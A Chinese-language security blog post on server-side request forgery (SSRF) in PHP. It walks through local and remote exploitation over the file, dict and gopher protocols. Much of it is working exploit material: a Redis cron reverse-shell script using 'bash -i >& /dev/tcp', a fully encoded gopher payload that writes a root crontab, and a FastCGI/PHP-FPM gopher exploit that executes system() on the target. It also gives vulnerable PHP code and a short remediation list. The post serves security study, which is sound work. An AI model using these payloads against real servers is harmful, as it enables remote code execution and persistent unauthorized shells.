1. 漏洞简介
SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
2. 漏洞利用
自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。
2.1 本地利用
拿PHP常出现问题的cURL举例。
可以看到cURL支持大量的协议,例如file, dict, gopher, http
1 |
➜ curl -V |
本地利用姿势:
1 |
# 利用file协议查看文件 |
2.2 远程利用
漏洞代码ssrf.php
(未做任何SSRF防御)
1 |
function curl($url){ |
远程利用方式:
1 |
# 利用file协议任意文件读取 |
漏洞代码ssrf2.php
- 限制协议为HTTP、HTTPS
- 设置跳转重定向为True(默认不跳转)
1 |
|
此时,再使用dict协议已经不成功。
1 |
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info |
3. 如何转换成gopher协议
刚一开始看到这个协议,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。
3.1 redis反弹shell
先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。
1 |
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 |
该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n
的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。
执行脚本命令:
1 |
bash shell.sh 127.0.0.1 6379 |
想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。转发命令如下:
1 |
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 |
意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。
执行脚本
1 |
bash shell.sh 127.0.0.1 4444 |
捕获到数据如下:
1 |
> 2017/10/11 01:24:52.432446 length=85 from=0 to=84 |
转换规则如下:
- 如果第一个字符是
>
或者<
那么丢弃该行字符串,表示请求和返回的时间。 - 如果前3个字符是
+OK
那么丢弃该行字符串,表示返回的字符串。 - 将
\r
字符串替换成%0d%0a
- 空白行替换为
%0a
写了个脚本进行转换:tran2gopher.py
1 |
python tran2gopher.py socat.log |
结果为:
1 |
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a |
需要注意的是,如果要换IP和端口,前面的$58
也需要更改,$58
表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。
本地cURL测试是否成功写入:
1 |
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
返回5个OK
1 |
+OK |
证明应该没有问题。那再检测以下Redis写入的字段和crontab的内容。
- 检测Redis数据库的字段为
"\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n"
- 检测crontab的内容也没有问题
3.2 攻击FastCGI
3.2.1 利用条件
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。
https://curl.haxx.se/changes.html
Fixed in 7.45.0 - October 7 2015
gopher: don’t send NUL byte
3.2.2 转换为Gopher的EXP
监听一个端口的流量 nc -lvv 2333 > 1.txt
,执行EXP,流量打到2333端口
1 |
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php |
urlencode
1 |
f = open('1.txt') |
得到gopher的EXP
1 |
%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00 |
执行EXP
1 |
curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00' |
4. 漏洞代码
curl造成的SSRF
1 |
function curl($url){ |
file_get_contents造成的SSRF
1 |
$url = $_GET['url'];; |
fsockopen造成的SSRF
1 |
function GetFile($host,$port,$link) |
5. 漏洞修复
- 限制协议为HTTP、HTTPS
- 禁止30x跳转
- 设置URL白名单或者限制内网IP
6. Reference
- SSRF to GETSHELL
- [利用 gopher 协议拓展攻击面](https://ricterz.me/posts/利用 gopher 协议拓展攻击面)
- WAVR SSRF
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论